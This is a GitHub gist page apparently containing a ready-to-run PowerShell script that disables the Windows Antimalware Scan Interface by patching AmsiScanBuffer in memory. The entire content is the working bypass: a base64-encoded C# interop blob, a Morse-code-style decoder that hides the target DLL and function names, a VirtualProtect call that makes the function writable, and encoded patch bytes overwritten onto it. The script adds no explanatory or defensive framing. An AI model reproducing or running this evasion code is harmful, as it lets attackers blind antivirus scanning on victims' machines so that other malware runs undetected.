Skip to content

Instantly share code, notes, and snippets.

@aniqfakhrul

aniqfakhrul/asb_path_morse.ps1

Created August 29, 2021 06:59
Show Gist options
  • Save aniqfakhrul/d32f15ab958483f481117c0f8ae91b44 to your computer and use it in GitHub Desktop.
Save aniqfakhrul/d32f15ab958483f481117c0f8ae91b44 to your computer and use it in GitHub Desktop.
Download ZIP
RastaMourse's AmsiScanBuffer with Morse Code implementation
Raw
asb_path_morse.ps1
$blob = "dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnB1YmxpYyBjbGFzcyBXaW4zMiB7CiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldFByb2NBZGRyZXNzKEludFB0ciBoTW9kdWxlLCBzdHJpbmcgcHJvY05hbWUpOwogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkTGlicmFyeShzdHJpbmcgbmFtZSk7CiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBWaXJ0dWFsUHJvdGVjdChJbnRQdHIgbHBBZGRyZXNzLCBVSW50UHRyIGR3U2l6ZSwgdWludCBmbE5ld1Byb3RlY3QsIG91dCB1aW50IGxwZmxPbGRQcm90ZWN0KTsKfQpwdWJsaWMgY2xhc3MgcmFoc2lhCnsKICAgICAgICBwdWJsaWMgc3RhdGljIHN0cmluZyBkZWMoc3RyaW5nIGVuY29kZWQpCiAgICAgICAgewogICAgICAgICAgICBjaGFyW10gdGV4dCA9IHsgJ2EnLCAnQScsICdiJywgJ0InLCAnYycsICdDJywgJ2QnLCAnRCcsICdlJywgJ0UnLCAnZicsICdGJywgJ2cnLCAnRycsICdoJywgJ0gnLCAnaScsICdJJywgJ2onLCAnSicsICdrJywgJ0snLCAnbCcsICdMJywgJ20nLCAnTScsICduJywgJ04nLCAnbycsICdPJywgJ3AnLCAnUCcsICdxJywgJ1EnLCAncicsICdSJywgJ3MnLCAnUycsICd0JywgJ1QnLCAndScsICdVJywgJ3YnLCAnVicsICd3JywgJ1cnLCAneCcsICdYJywgJ3knLCAnWScsICd6JywgJ1onLCAnMCcsICcxJywgJzInLCAnMycsICc0JywgJzUnLCAnNicsICc3JywgJzgnLCAnOScsICcvJywgJz0nLCAnKycsICchJywgJy4nIH07CiAgICAgICAgICAgIHN0cmluZ1tdIHRpdGlrID0geyAiLi0iLCAiXi4tIiwgIi0uLi4iLCAiXi0uLi4iLCAiLS4tLiIsICJeLS4tLiIsICItLi4iLCAiXi0uLiIsICIuIiwgIl4uIiwgIi4uLS4iLCAiXi4uLS4iLCAiLS0uIiwgIl4tLS4iLCAiLi4uLiIsICJeLi4uLiIsICIuLiIsICJeLi4iLCAiLi0tLSIsICJeLi0tLSIsICItLi0iLCAiXi0uLSIsICIuLS4uIiwgIl4uLS4uIiwgIi0tIiwgIl4tLSIsICItLiIsICJeLS4iLCAiLS0tIiwgIl4tLS0iLCAiLi0tLiIsICJeLi0tLiIsICItLS4tIiwgIl4tLS4tIiwgIi4tLiIsICJeLi0uIiwgIi4uLiIsICJeLi4uIiwgIi0iLCAiXi0iLCAiLi4tIiwgIl4uLi0iLCAiLi4uLSIsICJeLi4uLSIsICIuLS0iLCAiXi4tLSIsICItLi4tIiwgIl4tLi4tIiwgIi0uLS0iLCAiXi0uLS0iLCAiLS0uLiIsICJeLS0uLiIsICItLS0tLSIsICIuLS0tLSIsICIuLi0tLSIsICIuLi4tLSIsICIuLi4uLSIsICIuLi4uLiIsICItLi4uLiIsICItLS4uLiIsICItLS0uLiIsICItLS0tLiIsICIvIiwgIi4uLl4tIiwgIl4uXiIsICJeLi5eIiwgIi5eLiIgfTsKICAgICAgICAgICAgc3RyaW5nW10gY29kZXMgPSBlbmNvZGVkLlNwbGl0KCcgJyk7CiAgICAgICAgICAgIHN0cmluZyBkZWNvZGVkID0gIiI7CiAgICAgICAgICAgIGZvciAoaW50IGkgPSAwOyBpIDwgY29kZXMuTGVuZ3RoOyBpKyspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZvciAoaW50IGsgPSAwOyBrIDwgdGl0aWsuTGVuZ3RoOyBrKyspCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGNvZGVzW2ldLkVxdWFscyh0aXRpa1trXSkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBkZWNvZGVkICs9IHRleHRba107CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBkZWNvZGVkLlRvU3RyaW5nKCk7CiAgICAgICAgfQogfQ=="
$Win32 = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($blob))
Add-Type $Win32
$rahsia = ".- -- ... .. .^. -.. .-.. .-.. "
$rahsia2 = "^.- -- ... .. ^... -.-. .- -. ^-... ..- ..-. ..-. . .-. "
$LoadLibrary = [Win32]::LoadLibrary([rahsia]::dec($rahsia))
$AddressLoc = [Win32]::GetProcAddress($LoadLibrary, [rahsia]::dec($rahsia2))
$p = 0
[Win32]::VirtualProtect($AddressLoc, [uint32]5, 0x40, [ref]$p)
$PatchBytes = "^-- -.-. ^.- ^..-. . ^.- ^. ^--.. ..-. .-- ^-..- ..-. / ..- ----- ^.- .-- .-- ...^- ...^- "
$Patch = [Convert]::FromBase64String([rahsia]::dec($PatchBytes));
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $AddressLoc, $Patch.Length)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment